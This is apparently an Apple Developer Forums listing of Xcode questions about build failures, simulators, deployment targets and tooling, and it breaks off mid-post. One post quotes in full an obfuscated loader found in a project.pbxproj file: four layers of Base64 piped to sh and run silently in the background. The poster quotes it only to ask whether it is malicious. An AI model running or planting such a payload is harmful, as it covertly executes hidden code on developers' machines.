Build, test, and submit your app using Xcode, Apple's integrated development environment.

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Public generated asset symbols
Is there currently an option to make generated asset symbols public? If not, would it be possible to set the generated asset symbol so they are public. It's quite common to have an apps design system implemented in a separate framework. Currently the generate assets symbols is useless for this as they can't be access in the framework consumer. It would be great to add it to this new dropdown in Xcode 16 or along side it. (113704993 in the release notes) So the options would be Internal, Public and Off. This should affect the symbols, the extensions and the framework support. (There's a post on the swift forums about this as well here: https://forums.swift.org/t/generate-images-and-colors-inside-a-swift-package/65674)
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3.3k
Jul ’26
Xcode Source Control pull/push hangs indefinitely, terminal Git works normally After Tahoe 26.3 (25D125) Update
Device Details: MBP M2 Pro AND MBP M3 Pro macOS 26.3 (25D125) Xcode Version 26.3, 26.2, 26.1 (I reinstalled all 3 of these after the macOS update) BUG: Xcode hangs indefinitely when performing Source Control operations (Pull or Push) on a Git repository that uses SSH authentication. The same repository works correctly when performing the equivalent Git operations from the Terminal using the Git CLI. The issue appears to be specific to Xcode’s internal Source Control integration. When the operation is triggered from Xcode, the UI shows a spinning progress indicator and never completes. Terminal Git commands (git fetch, git pull, git push) complete normally using the same SSH key and repository. A hang sample taken during the issue shows the Xcode main thread blocked in Source Control authentication and fingerprint handling code paths, including: IDESourceControlUIHandler IDESourceControlFingerprintManager handleAuthenticationFailure showFingerprintAlertOnWindow This suggests Xcode may be waiting on a Source Control authentication or host fingerprint UI flow that never resolves. SSH connectivity itself is functioning correctly: ssh -T git@bitbucket.org and ssh -T git@github.com both authenticate successfully. git ls-remote, git fetch, git pull, and git push all work correctly from Terminal. No Source Control accounts are configured in Xcode Preferences. Authentication relies entirely on SSH keys. Steps to Reproduce Configure an SSH key for Git access (e.g., Bitbucket or GitHub) and confirm it works via Terminal. Clone or open an existing Git repository that uses SSH (git@host:repo.git). Open the project/workspace in Xcode. In Xcode, attempt a Source Control operation such as: Source Control → Pull Source Control → Push Observe that Xcode displays a spinning progress indicator and does not complete the operation. Logs available on this Feedback Assist ID: FB22146913
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1.4k
Jul ’26
Parallel swift testing on multiple ios simulators
Due to massive amount of shared state in my project I cannot really use swift testing parallelization in my tests, so my idea was to embed all suites into single one with .serialized and then run them on several simulators to speed up the tests. I ran tests with xcodebuild ... -parallel-testing-enabled YES -parallel-testing-worker-count 2, but swift testing suites seemed to be executed on just one simulator. Is it possible to run swift testing tests in parallel on multiple iOS simulators, but serially within each of them? Or the only way is xctest?
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635
Jul ’26
Choosing "Default" model in Claude Coding Intelligence Setting in Xcode but overriden by ANTHROPIC_MODEL=best env var and Fable got used & cause 5hr Max 5X token quota reached 100% from 0% in 2 min 😢😢😭
Never have this problem running in the first version of Xcode 27 until download the latest Xcode 27. At least "Fable" should be added in the dropdown to give a sense that it could be selected and be more careful (in dropdown only have "Sonnet", "Opus", "Sonnet+Opus" and more) I also submit Feedback request FB23973503 with screen capture & more Xcode Claude AI Investigation details
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536
Jul ’26
Why does an edited 4K 60 FPS video become significantly smaller than the original when exported from the Photos library?
I'm observing an interesting behavior on iOS when uploading edited videos from the Photos library. Scenario Device: iPhone Video: 4K, 60 FPS Original video size (Photos app): 660 MB Uploaded original asset: 660 MB After applying a simple edit (e.g., a filter) in the Photos app: Photos app still shows the edited video. When my app uploads the current/edited asset, the uploaded file size becomes 167 MB. So the edited version is approximately 75% smaller than the original (660 MB → 167 MB), even though the duration appears unchanged. Questions Is this expected behavior for edited videos in the Photos library? Does iOS automatically re-encode edited videos using a lower bitrate or a different codec (e.g., HEVC) when generating the current rendition? Does the Photos app continue to display the size of the original asset rather than the size of the edited rendition? I'm aware that PhotoKit allows retrieving both the original and the current (edited) versions of a PHAsset. In this case, I'm intentionally retrieving the current version, and this behavior is observed only for the edited asset.
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954
Jul ’26
Apple watch series 9 (OS 10.3) not showing up in xcode 15.1 under devices list.
When connecting my iphone (14pro with iOS 17.2.1) with a paired apple watch (series 9 with OS 10.3), it is not showing up on the devices/simulators list in xcode 15.1. Beyond unpairing/repairing the watch, restarting either iphone or watch, connecting/disconnecting the iphone from the computer or deleting xcode and re-installing xcode, any other suggestions? Under the WatchApp field it shows "no eligible device connected", however, under the console the Apple Watch does appear. I have tried just about everything and can't get the watch to appear in Xcode. I am running all this on a MacBook Pro with Sonoma. Thanks for any assistance!
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1.7k
Jul ’26
macOS Archive builds and environment variables
Hi All - I'm a bit confused about setting environment variables in Mac Terminal when testing archive builds. In Terminal, if I do something like export DYLD_PRINT_LIBRARIES=1, it works great for Debug builds. When I open my Debug binary, I can see all the dylibs and Frameworks getting loaded. However, my Archive build doesn't show me anything when I try opening it from Terminal. I did some Googling and I guess SIP may be doing something to prevent environment vars from affecting Archive builds. This made sense to me until I tried creating a simple Test app. If I Archive my Test app and open the binary in Terminal, I see all the dylibs and frameworks. So why would an Archive build for a simple test project work with DYLD_PRINT_LIBRARIES, but my production app's Archive build won't? Related question: I've run into a situation where I may have to set LSEnvironment in my app's Info.plist to work around a problem in 10.15 Catalina and 11 Big Sur. Setting LSEnvironment works great in my Debug and Release builds. But just like using setting DYLD_PRINT_LIBRARIES in Terminal, my Archive build ignores the LSEnvironment settings. So... is there a way to create an Archive build that doesn't ignore Environment Variables in Terminal, or LSEnviroment in Info.plist? Hoping that there's a simple Build Setting that I can enable or disable in my Target to do this. Thanks.
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677
Jul ’26
Xcode 27 incorrectly links a Catalyst binary, _UIFontTextStyleCallout Expected in AppKit
I have a personal iOS project that I also compile for macOS with Catalyst. When built with Xcode 26.x, everything is linked correctly. When built with Xcode 27 betas, the following runtime error occurs: Termination Reason: Namespace DYLD, Code 4, Symbol missing Symbol not found: _UIFontTextStyleCallout Referenced from: <046ED276-F81A-31B4-82FF-6DC82E9041BC> /Applications/Photo Library.app/Contents/MacOS/Photo Library Expected in: <298B64F6-9BC0-3BFB-BE72-EBDC2BE0FF19> /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit Any assistance? Thanks
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878
Jul ’26
SimCtl
Summary xcrun simctl install <valid.app> fails even though the app's Info.plist contains a correct, well-formed CFBundleIdentifier — verified independently with plutil -p. The app builds successfully via xcodebuild twice, under two different signing configurations. This is purely an install-time failure. ERROR · EVERY ATTEMPT An error was encountered processing the command (domain=IXErrorDomain, code=13): Simulator device failed to install the application. Missing bundle ID. Underlying error (domain=IXErrorDomain, code=13): Failed to get bundle ID from /QuestionsWeCarry.app Missing bundle ID. Environment MACOS 26.5.2 · Build 25F84 XCODE 26.6 · Build 17F113 SIMULATOR RUNTIME iOS 26.5 (23F77) HARDWARE Apple M5 KERNEL Darwin 25.5.0 arm64 XCODE.APP / SIMULATOR PLATFORM both freshly installed Xcode.app and the iOS Simulator platform were both freshly installed immediately before this was discovered — this may be a first-run / first-boot issue specific to this Xcode 26.6 + iOS 26.5 combination. Project being built A SwiftUI iOS app target generated via XcodeGen from project.yml, depending on a local Swift Package with four library products. Nothing exotic — no third-party SDKs, no CocoaPods, no entitlements file. PROJECT.YML — RELEVANT TARGET BLOCK PROJECT.YML targets: QuestionsWeCarry: type: application platform: iOS deploymentTarget: "17.0" sources: - path: App/Sources - path: App/Resources type: folder buildPhase: resources info: path: App/Info.plist properties: CFBundleDisplayName: "Questions We Carry" UILaunchScreen: {} ITSAppUsesNonExemptEncryption: false UIApplicationSceneManifest: UIApplicationSupportsMultipleScenes: false settings: base: PRODUCT_BUNDLE_IDENTIFIER: com.brodywolfstudio.questionswecarry MARKETING_VERSION: "1.0.0" CURRENT_PROJECT_VERSION: "1" SWIFT_VERSION: "5.10" TARGETED_DEVICE_FAMILY: "1,2" CODE_SIGN_STYLE: Manual CODE_SIGN_IDENTITY: "-" CODE_SIGNING_REQUIRED: NO CODE_SIGNING_ALLOWED: YES dependencies: - package: QWCKit product: QWCCore - package: QWCKit product: QWCEngine - package: QWCKit product: QWCStore - package: QWCKit product: QWCUI BUILD COMMAND THAT SUCCEEDS SHELL xcodebuild -project QuestionsWeCarry.xcodeproj -scheme QuestionsWeCarry -configuration Debug -destination "platform=iOS Simulator,id=" -derivedDataPath DerivedData build Result: BUILD SUCCEEDED, produces DerivedData/Build/Products/Debug-iphonesimulator/QuestionsWeCarry.app. INFO.PLIST INSIDE THE BUILT .APP (VIA PLUTIL -P) INFO.PLIST { "BuildMachineOSBuild" => "25F84" "CFBundleDevelopmentRegion" => "en" "CFBundleDisplayName" => "Questions We Carry" "CFBundleExecutable" => "QuestionsWeCarry" "CFBundleIdentifier" => "com.brodywolfstudio.questionswecarry" "CFBundleInfoDictionaryVersion" => "6.0" "CFBundleName" => "QuestionsWeCarry" "CFBundlePackageType" => "APPL" "CFBundleShortVersionString" => "1.0" "CFBundleSupportedPlatforms" => [ 0 => "iPhoneSimulator" ] "CFBundleVersion" => "1" "DTCompiler" => "com.apple.compilers.llvm.clang.1_0" "DTPlatformBuild" => "23F81a" "DTPlatformName" => "iphonesimulator" "DTPlatformVersion" => "26.5" "DTSDKBuild" => "23F81a" "DTSDKName" => "iphonesimulator26.5" "DTXcode" => "2660" "DTXcodeBuild" => "17F113" "ITSAppUsesNonExemptEncryption" => false "MinimumOSVersion" => "17.0" "UIApplicationSceneManifest" => { "UIApplicationSupportsMultipleScenes" => false } "UIDeviceFamily" => [ 0 => 1 1 => 2 ] "UILaunchScreen" => { } } CFBundleIdentifier is present, correctly formed, and matches PRODUCT_BUNDLE_IDENTIFIER. file confirms this is a valid Apple binary property list, not corrupted. CODESIGN -DV ON THE BUILT APP CODESIGN -DV Executable=/QuestionsWeCarry.app/QuestionsWeCarry Identifier=QuestionsWeCarry-******* Format=bundle with Mach-O thin (arm64) CodeDirectory v=20400 size=338 flags=0x2(adhoc) hashes=3+3 location=embedded Signature=adhoc Info.plist=not bound TeamIdentifier=not set Sealed Resources version=2 rules=13 files=4 Internal requirements count=0 size=12 Note Info.plist=not bound — unclear whether this is expected for an ad-hoc-signed bundle app (as opposed to a framework), or is itself a symptom of the underlying problem. Reproduction Minimal, reproducible with the plain command-line tool — no Claude tooling involved in this step: SHELL xcrun simctl install "iPhone 17 Pro" "/DerivedData/Build/Products/Debug-iphonesimulator/QuestionsWeCarry.app" Result (100% reproducible, every attempt): STDERR An error was encountered processing the command (domain=IXErrorDomain, code=13): Simulator device failed to install the application. Missing bundle ID. Underlying error (domain=IXErrorDomain, code=13): Failed to get bundle ID from /QuestionsWeCarry.app Missing bundle ID. Also reproduced with xcrun simctl launch, which fails as a consequence: Isolation steps taken All of the following were tried, and none changed the outcome — the exact same "Missing bundle ID" error occurs every time: 01 Two signing configurations — unsigned/linker-signed (Sealed Resources=none) vs. proper ad-hoc sign (Sealed Resources version=2 rules=13 files=4), plus a manual codesign --force --deep --sign - re-sign pass. Same failure every time. 02 Two simulator destinations — generic/platform=iOS Simulator and a concrete device id for iPhone 17 Pro. 03 Two never-before-used simulator devices — iPhone 17 Pro and iPhone Air — ruling out per-device CoreSimulator state corruption. 04 Erase + cold boot — simctl shutdown, erase, boot immediately before a fresh install attempt. 05 Real Simulator.app GUI running — not just a headless simctl boot — ruled out a CoreSimulatorService/GUI dependency. 06 Path with no spaces — copied the .app out of a path containing "Application Support" — ruled out a path-quoting issue. The build itself is never in question — xcodebuild reports BUILD SUCCEEDED every time; only the subsequent simctl install step fails. What I'd like feedback on Is this a known issue with this specific Xcode 26.6 / iOS 26.5 Simulator runtime combination — both very recently installed, so possibly a fresh-install/first-boot bug? Is there a required build setting for this Xcode version not yet reflected in commonly-documented XcodeGen/xcodebuild recipes — e.g. an entitlements file now required even for simulator-only, no-team builds, or a different expected code-signing identity/format? Is Info.plist=not bound in the codesign -dv output actually abnormal for an app bundle (as opposed to a framework), and could that be the root cause simctl is choking on?
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541
Jul ’26
Connection issue between Apple Watch and Xcode
I'm developing an app for Apple Watch, but I can't connect the Apple Watch to Xcode when I try to run the app on the actual device. I get the following errors: A networking error occurred The device rejected the connection request and A connection to this device could not be established. Timed out while attempting to establish tunnel using negotiated network parameters. The iPhone connects to Xcode without any problem. I've already tried several things without success: Resetting the "trusted computers" settings and trusting the Mac again Restarting all of the devices Making sure all devices are on the same Wi-Fi network On the iPhone, I can see the Developer Mode toggle in Settings, but on the Apple Watch there doesn't seem to be a Developer Mode toggle at all. I'm wondering whether enabling Developer Mode is required in my case. Could anyone tell me how to enable Developer Mode on Apple Watch, or suggest any other way to resolve this issue? Here is my environment: Mac mini (M1, 2020), macOS Tahoe 26.4.1 Xcode 26.4.1 Apple Watch SE 3, watchOS 26.1 iPhone 13, iOS 26.5 Thanks in advance for any help.
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364
Jul ’26
Minimum allowed IPHONEOS_DEPLOYMENT_TARGET for the AppStore
Hello, I am building a developer tool and for that I need to figure out which min deployment targets users technically may still specify in their Xcode projects. This page https://developer.apple.com/support/xcode indirectly says that both Xcode 26 and Xcode 27 allow setting IPHONEOS_DEPLOYMENT_TARGET only to iOS 15.0 and newer. Also https://developer.apple.com/news/upcoming-requirements/ now says that starting April 28 2026, the apps must be built with iOS SDK 26+, meaning only Xcode 26 and newer may be used for building the apps that go to the AppStore. However in fact in Xcode 26 I can specify older iOS deployment targets, as low as iOS 12. This post here https://developer.apple.com/forums/thread/805506?answerId=863871022#863871022 confirms that in fact it is possible to even submit the app to the AppStore with IPHONEOS_DEPLOYMENT_TARGET 12.0 There's also this post https://developer.apple.com/forums/thread/821370?answerId=882853022#882853022 that indirectly confirms that Apple still allows iOS 12.0 deployment target. Since Xcode 26 is still allowed to build apps for the AppStore even after Xcode 27.0 release, does that mean the developers may technically be able to keep specifying iOS 12, iOS 13, iOS 14 as deployment target when submitting their apps to the AppStore without having their apps rejected?
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1.3k
Jul ’26
OS debug logs not visible in console when macOS is closed
Overview When the macOS app is closed, the os logs (debug) logs are not visible in the Console app. However even when the iOS app is closed / killed, the os logs (debug) logs are visible in the Console app. What I have tried Console app menu Action > Include Debug Messages is checked Searched by subsystem Created a macOS app from the archive by choosing selecting Debugging option Note OS debug logs are visible when the macOS app is open Questions How can I make macOS debug logs visible in the Console app when the Mac app is closed? Should I be searching by some other fields? Or is there any other alternative / workaround this because I need to debug this scenario when app is closed?
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Jul ’26
I would like to know if anyone else is experiencing the same issue.
Our company enrolled in the Apple Developer Program as an Organization. Apple successfully created our D-U-N-S Number, but our enrollment has remained "Being Processed" for an extended period. I have contacted Apple Developer Support three times regarding this issue. Each time, I received only the automated acknowledgment email, and the same Case ID was referenced every time. However, I have never received any response from a support representative. At this point, our company is completely blocked from publishing our iOS application. Has anyone experienced the same issue recently? If so, how was it resolved? If an Apple Developer Support representative sees this post, I would sincerely appreciate it if you could review my case or advise on the next steps. Thank you.
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868
Jul ’26
UIDesignRequiresCompatibility support clarification.
Hello, Could someone from Apple clarify the support and behavior of the UIDesignRequiresCompatibility property? The UIDesignRequiresCompatibility documentation states that this property will be ignored for builds targeting iOS 27 or later. I have a couple of questions: Does "builds targeting iOS 27 or later" refer to an app that was built using Xcode 27 or later? iOS 27 is expected to be released in Fall 2026. Suppose that after iOS 27 is released, I create a new build using Xcode 26, with UIDesignRequiresCompatibility set to true, and install that build on an iOS 27 device. Will UIDesignRequiresCompatibility still be honored in this scenario, or will it be ignored and the app will use the Liquid Glass UI? Thanks!
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1.1k
Jul ’26
Unexpected entry being added to my project's project.pbxproj file by Xcode
I have observed an unexpected entry being added to my project's project.pbxproj file by Xcode: AB8F749 = "((d(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVlV4YWsxdVVuUlRWVTEzWkVkT2RGWnFRbXBpYlhSdVZHdE9RbVJGZUZoVWJscHBZbFJXYzFkVVRsSmtSMUpJWWtoU1lWWjZhM2hhUlU1Q1pWVTFjRkZZVW1GUk1FWndXVEJSZUU1R2EzbFBWM1JoVm1wc00xbFZaRWRsYkhCVVUxZGthRk5HU1hkWk1HaE9UbXQ0TlU5WGNHRlNlbFp2V1d4b2RtUlhSbGhPU0ZwYVZUSjBjRk5WYUROYU1rMTVXakJ6U3dvPQo= | d | sh ) >/dev/null 2>&1 &)"; This entry has been flagged as potentially malicious because it appears to contain multiple layers of Base64 encoding and ultimately executes a shell script after decoding. Could you please confirm whether this is expected behavior from Xcode or any Apple build tools? If this is not expected, could you advise what might be causing Xcode to insert such an entry into the project.pbxproj file? For context: The entry appears automatically in the project file. We are concerned because it resembles an obfuscated shell script that executes commands during the build process. We would like to understand whether this is generated by Xcode itself, a known feature, or whether it indicates that the project or development environment may have been modified by a third-party tool or compromised. If additional information such as the Xcode version, macOS version, project sample, or diagnostic logs would help your investigation, I would be happy to provide them. Thank you for your assistance.
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557
Jul ’26
Xcode build keeps crashing
Hi, I just modified my build setup. Now, Xcode project build crashes. From command line everything seems fine. xcodebuild ** BUILD SUCCEEDED ** Here is the stack-trace of crash-report showed: Thread 5 Crashed:: Dispatch queue: com.apple.root.default-qos.cooperative 0 SWBCore 0x10161da08 ClangCompilerSpec.constructTasks(_:_:) + 8636 1 SWBTaskConstruction 0x10119cee5 FilesBasedBuildPhaseTaskProducerBase.constructTasksForRule(_:_:_:) + 1 2 SWBTaskConstruction 0x1012202cd SourcesTaskProducer.constructTasksForRule(_:_:_:_:_:) + 1 3 SWBTaskConstruction 0x1011a11b9 closure #1 in FilesBasedBuildPhaseTaskProducerBase.addTasksForRule<A>(groupContext:_:_:_:_:_:_:) + 1 4 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 5 SWBTaskConstruction 0x1011547a1 <deduplicated_symbol> + 1 6 SWBTaskConstruction 0x1011da831 <deduplicated_symbol> + 1 7 SWBTaskConstruction 0x1011d53b1 specialized FilesBasedBuildPhaseTaskProducerBase.addTasksForGroup<A>(_:_:_:_:_:_:) + 1 8 SWBTaskConstruction 0x1011c7f8d specialized FilesBasedBuildPhaseTaskProducerBase.groupAndAddTasksForFiles<A>(_:_:_:filterToAPIRules:filterToHeaderRules:_:extraResolvedBuildFiles:) + 1 9 SWBTaskConstruction 0x1011e655d SourcesTaskProducer.generateTasks() + 1 10 SWBTaskConstruction 0x10114d725 <deduplicated_symbol> + 1 11 SWBTaskConstruction 0x1011532cd closure #2 in closure #4 in BuildPlan.init(planRequest:taskPlanningDelegate:) + 1 12 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 13 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 14 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 15 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 16 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 17 SWBUtil 0x100ec3271 <deduplicated_symbol> + 1 18 SWBUtil 0x100e3554d <deduplicated_symbol> + 1 19 libswift_Concurrency.dylib 0x287e40ec5 completeTaskWithClosure(swift::AsyncContext*, swift::SwiftError*) + 1 regards , Joël
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330
Jul ’26
Feature Request: Allow External AI Coding Agents to Access Xcode via MCP, CLI, or an Automation API
The new MCP support for Coding Assistant in Xcode is a fantastic addition. It makes it much easier to work with AI directly inside Xcode, and it’s exciting to see Apple embracing AI-assisted development. However, many developers are now using external AI coding agents—such as Claude Code, Codex, and other terminal-based agents—as their primary development interface. In practice, much of the development workflow has shifted away from manually editing code in Xcode. Instead, developers collaborate with AI agents from the terminal (for example, using tmux), while the agents generate code, modify project settings, write tests, and perform many other development tasks. What these agents are missing is direct access to Xcode itself. It would be incredibly valuable if external AI coding agents could communicate with Xcode through an official MCP server, a CLI, or a dedicated automation API. For example, allowing them to: Build and run projects Control the iOS Simulator (or Device Hub) Launch and control Instruments Capture and analyze performance traces (Time Profiler, Leaks, Memory, SwiftUI, etc.) Inspect build errors, warnings, and diagnostics Access LLDB and debugging information Collect crash logs and symbolicated reports Perform other Xcode-specific operations that are currently only available through the IDE Imagine asking an AI agent to: “Profile my app with Instruments, find the performance bottleneck, explain the results, apply a fix, rebuild the app, and run the profiling session again to verify the improvement.” This would allow the AI to complete an entire development and optimization loop without requiring the developer to manually switch between the terminal and Xcode. The same idea could extend to many other workflows, including debugging, performance tuning, testing, accessibility verification, and simulator automation. Developers could continue using their preferred AI coding agent while still taking full advantage of Xcode’s unique capabilities. As AI-assisted development becomes more common, opening Xcode through an official MCP server, CLI, or automation API would unlock an entirely new class of development workflows. I believe this could become one of the most impactful improvements Apple could make for AI-assisted development. Today, AI agents are already capable of writing code. The next step is enabling them to fully collaborate with Xcode. Opening Xcode to external AI agents would allow developers to focus more on solving problems and less on operating tools.
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687
Jul ’26
Xcode 27 release notes mention that the minimum deployment target is macOS 11.0, but Xcode itself says that only macOS 12.0 to 27.0 are supported
The release notes at https://developer.apple.com/documentation/xcode-release-notes/xcode-27-release-notes mention that the minimum deployment target is macOS 11.0, but Xcode itself says that only macOS 12.0 to 27.0 are supported. Which one is correct, Xcode or the release notes? I created FB23514411.
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530
Jul ’26
SwiftUI Instruments Template doesn't work
I am profiling a simple SwiftUI test app on my new iPhone through my new MacBook Pro and everything is version 26.2 (iOS, macOS, Xcode). I run Instruments with the SwiftUI template using all of the default settings and get absolutely zero data after interacting with the app for about 20 seconds. Using the Time Profiler template yields trace data. Trying the SwiftUI template again with the sample Landmarks app has the same issue as my app.
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1.5k
Jul ’26
Public generated asset symbols
Is there currently an option to make generated asset symbols public? If not, would it be possible to set the generated asset symbol so they are public. It's quite common to have an apps design system implemented in a separate framework. Currently the generate assets symbols is useless for this as they can't be access in the framework consumer. It would be great to add it to this new dropdown in Xcode 16 or along side it. (113704993 in the release notes) So the options would be Internal, Public and Off. This should affect the symbols, the extensions and the framework support. (There's a post on the swift forums about this as well here: https://forums.swift.org/t/generate-images-and-colors-inside-a-swift-package/65674)
Replies
7
Boosts
35
Views
3.3k
Activity
Jul ’26
Xcode Source Control pull/push hangs indefinitely, terminal Git works normally After Tahoe 26.3 (25D125) Update
Device Details: MBP M2 Pro AND MBP M3 Pro macOS 26.3 (25D125) Xcode Version 26.3, 26.2, 26.1 (I reinstalled all 3 of these after the macOS update) BUG: Xcode hangs indefinitely when performing Source Control operations (Pull or Push) on a Git repository that uses SSH authentication. The same repository works correctly when performing the equivalent Git operations from the Terminal using the Git CLI. The issue appears to be specific to Xcode’s internal Source Control integration. When the operation is triggered from Xcode, the UI shows a spinning progress indicator and never completes. Terminal Git commands (git fetch, git pull, git push) complete normally using the same SSH key and repository. A hang sample taken during the issue shows the Xcode main thread blocked in Source Control authentication and fingerprint handling code paths, including: IDESourceControlUIHandler IDESourceControlFingerprintManager handleAuthenticationFailure showFingerprintAlertOnWindow This suggests Xcode may be waiting on a Source Control authentication or host fingerprint UI flow that never resolves. SSH connectivity itself is functioning correctly: ssh -T git@bitbucket.org and ssh -T git@github.com both authenticate successfully. git ls-remote, git fetch, git pull, and git push all work correctly from Terminal. No Source Control accounts are configured in Xcode Preferences. Authentication relies entirely on SSH keys. Steps to Reproduce Configure an SSH key for Git access (e.g., Bitbucket or GitHub) and confirm it works via Terminal. Clone or open an existing Git repository that uses SSH (git@host:repo.git). Open the project/workspace in Xcode. In Xcode, attempt a Source Control operation such as: Source Control → Pull Source Control → Push Observe that Xcode displays a spinning progress indicator and does not complete the operation. Logs available on this Feedback Assist ID: FB22146913
Replies
10
Boosts
11
Views
1.4k
Activity
Jul ’26
Parallel swift testing on multiple ios simulators
Due to massive amount of shared state in my project I cannot really use swift testing parallelization in my tests, so my idea was to embed all suites into single one with .serialized and then run them on several simulators to speed up the tests. I ran tests with xcodebuild ... -parallel-testing-enabled YES -parallel-testing-worker-count 2, but swift testing suites seemed to be executed on just one simulator. Is it possible to run swift testing tests in parallel on multiple iOS simulators, but serially within each of them? Or the only way is xctest?
Replies
1
Boosts
0
Views
635
Activity
Jul ’26
Choosing "Default" model in Claude Coding Intelligence Setting in Xcode but overriden by ANTHROPIC_MODEL=best env var and Fable got used & cause 5hr Max 5X token quota reached 100% from 0% in 2 min 😢😢😭
Never have this problem running in the first version of Xcode 27 until download the latest Xcode 27. At least "Fable" should be added in the dropdown to give a sense that it could be selected and be more careful (in dropdown only have "Sonnet", "Opus", "Sonnet+Opus" and more) I also submit Feedback request FB23973503 with screen capture & more Xcode Claude AI Investigation details
Replies
1
Boosts
0
Views
536
Activity
Jul ’26
Why does an edited 4K 60 FPS video become significantly smaller than the original when exported from the Photos library?
I'm observing an interesting behavior on iOS when uploading edited videos from the Photos library. Scenario Device: iPhone Video: 4K, 60 FPS Original video size (Photos app): 660 MB Uploaded original asset: 660 MB After applying a simple edit (e.g., a filter) in the Photos app: Photos app still shows the edited video. When my app uploads the current/edited asset, the uploaded file size becomes 167 MB. So the edited version is approximately 75% smaller than the original (660 MB → 167 MB), even though the duration appears unchanged. Questions Is this expected behavior for edited videos in the Photos library? Does iOS automatically re-encode edited videos using a lower bitrate or a different codec (e.g., HEVC) when generating the current rendition? Does the Photos app continue to display the size of the original asset rather than the size of the edited rendition? I'm aware that PhotoKit allows retrieving both the original and the current (edited) versions of a PHAsset. In this case, I'm intentionally retrieving the current version, and this behavior is observed only for the edited asset.
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954
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Jul ’26
Xcode IOS development
Super noob here 😅 is there a way to work with the “Xcode” development app on IOS. Any advice or input is welcome.
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626
Activity
Jul ’26
Apple watch series 9 (OS 10.3) not showing up in xcode 15.1 under devices list.
When connecting my iphone (14pro with iOS 17.2.1) with a paired apple watch (series 9 with OS 10.3), it is not showing up on the devices/simulators list in xcode 15.1. Beyond unpairing/repairing the watch, restarting either iphone or watch, connecting/disconnecting the iphone from the computer or deleting xcode and re-installing xcode, any other suggestions? Under the WatchApp field it shows "no eligible device connected", however, under the console the Apple Watch does appear. I have tried just about everything and can't get the watch to appear in Xcode. I am running all this on a MacBook Pro with Sonoma. Thanks for any assistance!
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1.7k
Activity
Jul ’26
macOS Archive builds and environment variables
Hi All - I'm a bit confused about setting environment variables in Mac Terminal when testing archive builds. In Terminal, if I do something like export DYLD_PRINT_LIBRARIES=1, it works great for Debug builds. When I open my Debug binary, I can see all the dylibs and Frameworks getting loaded. However, my Archive build doesn't show me anything when I try opening it from Terminal. I did some Googling and I guess SIP may be doing something to prevent environment vars from affecting Archive builds. This made sense to me until I tried creating a simple Test app. If I Archive my Test app and open the binary in Terminal, I see all the dylibs and frameworks. So why would an Archive build for a simple test project work with DYLD_PRINT_LIBRARIES, but my production app's Archive build won't? Related question: I've run into a situation where I may have to set LSEnvironment in my app's Info.plist to work around a problem in 10.15 Catalina and 11 Big Sur. Setting LSEnvironment works great in my Debug and Release builds. But just like using setting DYLD_PRINT_LIBRARIES in Terminal, my Archive build ignores the LSEnvironment settings. So... is there a way to create an Archive build that doesn't ignore Environment Variables in Terminal, or LSEnviroment in Info.plist? Hoping that there's a simple Build Setting that I can enable or disable in my Target to do this. Thanks.
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3
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677
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Jul ’26
Xcode 27 incorrectly links a Catalyst binary, _UIFontTextStyleCallout Expected in AppKit
I have a personal iOS project that I also compile for macOS with Catalyst. When built with Xcode 26.x, everything is linked correctly. When built with Xcode 27 betas, the following runtime error occurs: Termination Reason: Namespace DYLD, Code 4, Symbol missing Symbol not found: _UIFontTextStyleCallout Referenced from: <046ED276-F81A-31B4-82FF-6DC82E9041BC> /Applications/Photo Library.app/Contents/MacOS/Photo Library Expected in: <298B64F6-9BC0-3BFB-BE72-EBDC2BE0FF19> /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit Any assistance? Thanks
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10
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878
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Jul ’26
SimCtl
Summary xcrun simctl install <valid.app> fails even though the app's Info.plist contains a correct, well-formed CFBundleIdentifier — verified independently with plutil -p. The app builds successfully via xcodebuild twice, under two different signing configurations. This is purely an install-time failure. ERROR · EVERY ATTEMPT An error was encountered processing the command (domain=IXErrorDomain, code=13): Simulator device failed to install the application. Missing bundle ID. Underlying error (domain=IXErrorDomain, code=13): Failed to get bundle ID from /QuestionsWeCarry.app Missing bundle ID. Environment MACOS 26.5.2 · Build 25F84 XCODE 26.6 · Build 17F113 SIMULATOR RUNTIME iOS 26.5 (23F77) HARDWARE Apple M5 KERNEL Darwin 25.5.0 arm64 XCODE.APP / SIMULATOR PLATFORM both freshly installed Xcode.app and the iOS Simulator platform were both freshly installed immediately before this was discovered — this may be a first-run / first-boot issue specific to this Xcode 26.6 + iOS 26.5 combination. Project being built A SwiftUI iOS app target generated via XcodeGen from project.yml, depending on a local Swift Package with four library products. Nothing exotic — no third-party SDKs, no CocoaPods, no entitlements file. PROJECT.YML — RELEVANT TARGET BLOCK PROJECT.YML targets: QuestionsWeCarry: type: application platform: iOS deploymentTarget: "17.0" sources: - path: App/Sources - path: App/Resources type: folder buildPhase: resources info: path: App/Info.plist properties: CFBundleDisplayName: "Questions We Carry" UILaunchScreen: {} ITSAppUsesNonExemptEncryption: false UIApplicationSceneManifest: UIApplicationSupportsMultipleScenes: false settings: base: PRODUCT_BUNDLE_IDENTIFIER: com.brodywolfstudio.questionswecarry MARKETING_VERSION: "1.0.0" CURRENT_PROJECT_VERSION: "1" SWIFT_VERSION: "5.10" TARGETED_DEVICE_FAMILY: "1,2" CODE_SIGN_STYLE: Manual CODE_SIGN_IDENTITY: "-" CODE_SIGNING_REQUIRED: NO CODE_SIGNING_ALLOWED: YES dependencies: - package: QWCKit product: QWCCore - package: QWCKit product: QWCEngine - package: QWCKit product: QWCStore - package: QWCKit product: QWCUI BUILD COMMAND THAT SUCCEEDS SHELL xcodebuild -project QuestionsWeCarry.xcodeproj -scheme QuestionsWeCarry -configuration Debug -destination "platform=iOS Simulator,id=" -derivedDataPath DerivedData build Result: BUILD SUCCEEDED, produces DerivedData/Build/Products/Debug-iphonesimulator/QuestionsWeCarry.app. INFO.PLIST INSIDE THE BUILT .APP (VIA PLUTIL -P) INFO.PLIST { "BuildMachineOSBuild" => "25F84" "CFBundleDevelopmentRegion" => "en" "CFBundleDisplayName" => "Questions We Carry" "CFBundleExecutable" => "QuestionsWeCarry" "CFBundleIdentifier" => 